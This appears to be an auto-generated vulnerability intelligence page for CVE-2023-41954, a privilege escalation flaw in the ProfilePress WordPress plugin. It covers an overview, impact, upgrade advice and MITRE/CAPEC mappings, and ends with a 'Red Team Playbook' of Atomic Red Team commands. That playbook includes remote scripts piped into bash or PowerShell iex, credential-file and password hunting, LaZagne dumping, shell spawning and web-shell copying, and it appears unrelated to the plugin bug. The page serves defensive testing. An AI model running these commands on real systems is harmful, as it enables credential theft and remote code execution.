CVE-2023-41954
Overview
This vulnerability is an improper privilege management flaw in the ProfilePress Membership Team plugin, affecting versions up to 4.13.1. The root cause lies in insufficient access control validation on key administrative AJAX and login endpoints, allowing unauthorized users to perform actions reserved for higher privilege roles. The affected components include the POST handlers for /wp-admin/admin-ajax.php, /wp-login.php, and the GET handler for /wp-admin/edit.php with post_type=page parameter.
Vulnerability Description
Improper Privilege Management vulnerability in ProfilePress Membership Team ProfilePress allows Privilege Escalation.This issue affects ProfilePress: from n/a through 4.13.1.
Impact
An unauthenticated attacker can escalate privileges within the ProfilePress plugin, gaining unauthorized administrative access to restricted features and sensitive data. No prior authentication or user interaction is required to exploit this vulnerability. This unauthorized access can lead to data breaches, manipulation of membership settings, and potential compromise of the WordPress site's integrity and confidentiality.
Solution
Upgrade ProfilePress Membership Team plugin to version 4.13.2 or later, as recommended by the vendor in the advisory published on Patchstack. Detailed patch instructions and updates are available at https://patchstack.com/database/vulnerability/wp-user-avatar/wordpress-profilepress-plugin-4-13-1-unauthenticated-limited-privilege-escalation-vulnerability?_s_id=cve. Applying this update addresses the improper privilege management flaw by enforcing correct access controls on affected endpoints.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The improper privilege management vulnerability in ProfilePress presents a significant risk to users of this membership management plugin for WordPress. This flaw arises from inadequate controls over user permissions, allowing unauthorized users to escalate their privileges within the application. Specifically, the vulnerability enables an attacker to gain access to restricted functionalities that should be reserved for higher-privileged accounts, such as administrators. This misconfiguration can lead to unauthorized data access, manipulation, or even complete takeover of the affected WordPress sites.
Attack vectors for this vulnerability are primarily centered around social engineering and exploitation of the web application itself. An attacker could create a user account with minimal privileges and leverage the improper privilege management to escalate their access. This could be achieved through various means, such as sending phishing emails to trick legitimate users into revealing their credentials or exploiting other vulnerabilities within the application that may facilitate privilege escalation. Once an attacker gains elevated privileges, they can perform malicious actions, including modifying user roles, accessing sensitive data, or injecting malicious code into the site, all of which could lead to severe consequences for the organization.
The real-world impact of this vulnerability can be profound, particularly for businesses that rely on ProfilePress for managing memberships and user data. Organizations may face significant business risks, including data breaches that compromise sensitive customer information, loss of customer trust, and potential legal ramifications due to non-compliance with data protection regulations. The financial implications can also be severe, as businesses may incur costs related to incident response, remediation efforts, and potential fines. Moreover, the reputational damage caused by a security incident can have long-lasting effects on customer relationships and market positioning.
To detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating the ProfilePress plugin to the latest version is crucial, as updates often include patches for known vulnerabilities. Additionally, organizations should conduct routine security audits and penetration testing to identify and address any weaknesses in their configurations. Implementing strict access controls and role-based permissions can help ensure that users only have access to the functionalities necessary for their roles. Monitoring user activity for unusual patterns can also aid in detecting potential exploitation attempts early on.
In conclusion, the improper privilege management vulnerability in ProfilePress poses a serious threat to the security of WordPress sites utilizing this plugin. Understanding the technical details, potential attack vectors, and real-world implications is essential for organizations to safeguard their digital assets. By employing proactive detection and mitigation strategies, businesses can significantly reduce their risk exposure and protect themselves against the consequences of privilege escalation attacks. As the cybersecurity landscape continues to evolve, vigilance and adaptability remain key components in maintaining robust security postures.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Properfraction | Profilepress | All |
cpe:2.3:a:properfraction:profilepress:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-122 | Privilege Abuse |
30%
|
High | Medium | |
| CAPEC-233 | Privilege Escalation |
30%
|
— | — | |
| CAPEC-58 | Restful Privilege Elevation |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-41954 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/wp-user-avatar/wordpress-profilepress-plugin-4-13-1-unauthenticated-limited-privilege-escalation-vulnerability?_s_id=cve |